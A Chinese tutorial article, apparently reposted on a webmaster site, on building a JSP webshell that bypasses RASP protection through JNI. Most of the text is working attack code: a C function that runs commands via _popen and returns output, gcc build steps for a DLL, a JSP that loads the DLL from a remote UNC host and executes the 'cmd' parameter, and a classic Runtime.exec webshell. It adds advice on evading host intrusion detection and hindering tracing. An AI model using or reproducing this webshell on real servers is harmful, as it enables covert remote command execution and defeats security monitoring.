加入收藏 | 设为首页 | 会员中心 | 我要投稿 聊城站长网 (https://www.0635zz.com/)- 智能语音交互、行业智能、AI应用、云计算、5G!
当前位置: 首页 > 服务器 > 安全 > 正文

JNI技术绕过rasp防范怎么实现jsp webshell

发布时间:2023-07-29 14:08:03 所属栏目:安全 来源:
导读:今天就跟大家聊聊有关JNI技术绕过rasp防护怎么实现jsp webshell,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

想到rasp这类工具是基于java、php运
今天就跟大家聊聊有关JNI技术绕过rasp防护怎么实现jsp webshell,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
 
想到rasp这类工具是基于java、php运行期的堆栈信息进行分析,可以尝试使用jni技术进行绕过。java技术栈中的jni的原理是使用java调用c、c++函数,具体实现的思路是jsp编译为class文件,该class通过jni技术调用另外一处dll里的函数绕过黑名单执行命令获取回显,即可实现rasp和安全防护软件的绕过。
 
原理使用
 
以我们要实现的jsp webshell命名为test.jsp为例。由于jni技术需要先通过javah+.class文件生成.h开头的c头文件,jsp是一种特殊的class文件,而jsp经过Tomcat编译class文件,命名遵从test.jsp ->> org.apache.jsp.test_jsp.class,所以我们需要新建package为org.apache.jsp,类名为test_jsp的.java文件。```package org.apache.jsp;  public class test_jsp   {       class JniClass       {           public native String exec( String string );      }  }
 
cd到编译生成的target/class目录,使用javah org.apache.jsp.test_jsp$JniClass命令生成org_apache_jsp_test_jsp_JniClass.h文件,内容为:
 
/DO NOT EDIT THIS FILE - it is machine generated /
 
#include / Header for classorg_apache_jsp_test_jsp_JniClass /
 
#ifndef_Included_org_apache_jsp_test_jsp_JniClass
 
#define_Included_org_apache_jsp_test_jsp_JniClass
 
#ifdef __cplusplusextern "C" {
 
#endif
 
/*
 
Class: org_apache_jsp_test_jsp_JniClass*Method:    exec*Signature: (Ljava/lang/String;)Ljava/lang/String;*/
 
JNIEXPORT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec
 
(JNIEnv*, jobject, jstring);
 
#ifdef __cplusplus}
 
#endif
 
#endif 调用上一步生成头文件,编写有回显的c语言代码
 
#include"jni.h"
 
#include"org_apache_jsp_test_jsp_JniClass.h"
 
#include
 
#include
 
#include
 
#include
 
#include int execmd(const char cmd, char result)
 
{ char buffer[102412];              //定义缓冲区 FILE pipe = _popen(cmd, "r"); //打开管道,并执行命令 if (!pipe)     return 0; //返回0表示运行失败 while (!feof(pipe)){     if (fgets(buffer, 128, pipe))     { //将管道输出到result中         strcat(result, buffer);     }
 
} _pclose(pipe); //关闭管道 return 1;      //返回1表示运行成功}JNIEXPORT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv env, jobjectclass_object, jstring jstr){ const char cstr = (env)->GetStringUTFChars(env, jstr, NULL); char result[1024  12] = ""; //定义存放结果的字符串数组 if (1 == execmd(cstr, result))
 
{    // printf(result);} char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult;}}
 
使用gcc将该c源码编译为dll或者lib(注意jdk版本要与目标机器的
 
jdk保持一致)
 
gcc -I "c:\Program Files\Java\jdk1.7.0_75\include"  -I "c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c -o 1.dll
 
具体在jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。
 
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%!   class JniClass {     public native String exec(String string);     public JniClass() {       //System.load("/Users/nano/upload/libJniClass.jnilib");       System.load("\\8.8.8.8\classes\1.dll");     }   }   ; %> <%   String cmd  = request.getParameter("cmd");   JniClass jniClass = new JniClass();   String res = jniClass.exec(cmd); %>
 
<%=res%>```
 
技术要点
 
i.         对于linux|mac环境,上一步生成的java内部类叫做JniClass,在类unix平台下,加载的库名需要为lib开头+JniClass+jnilib或者dylib。ii.        核心的system.load|loadLibrary法是以File的形式记载dll|lib文件,该dll|lib路径的以远程的方式加载的绝对路径,所以需要目标机器上测试判断环境是支持//,还是支持\\?简单判断方法是new file(path),然后判断file.exist。如果是前者的linux环境,需要想办法使用//的unc路径,推荐使用samba搭建匿名访问服务放置.jnilib载荷。如果是后者,即目标服务器为windows下的java应用,远程路径需要以\\开头,dll需要放在windows下,在windows平台下445不通的情况下,会访问WebD**(开启webclient)的80端口下载下来dll执行。iii.      jni载荷的c、c++实现的代码要具备健壮性,避免目标环境的jvm奔溃。iv.      使用system函数执行命令要小心被hids发现。v.        该webshell只在tomcat容器上测试过。
 
实战使用
 
经测试:jdk1.7+tomcat8.5+windows环境
 
jdk10+tomcat+Mac
 
rasp安全防护全开。
 
rasp安全防护全开。

样本index.jsp为传统的基于Runtime.getRuntime执行命令,
 
<%@ page import="java.io.*" %> <%     try {         String cmd = request.getParameter("cmd");         Process child = Runtime.getRuntime().exec(cmd);         InputStream in = child.getInputStream();         int c;         while ((c = in.read()) != -1) {             out.print((char)c);         }         in.close();         try {             child.waitFor();         } catch (InterruptedException e) {             e.printStackTrace();         }     } catch (IOException e) {         System.err.println(e);     } %>
 
毫不意外的被rasp记录日志并阻断。
 
使用jni突破rasp的jsp来执行shell,成功绕过。
 
成功绕过。
 
 
 

(编辑:聊城站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!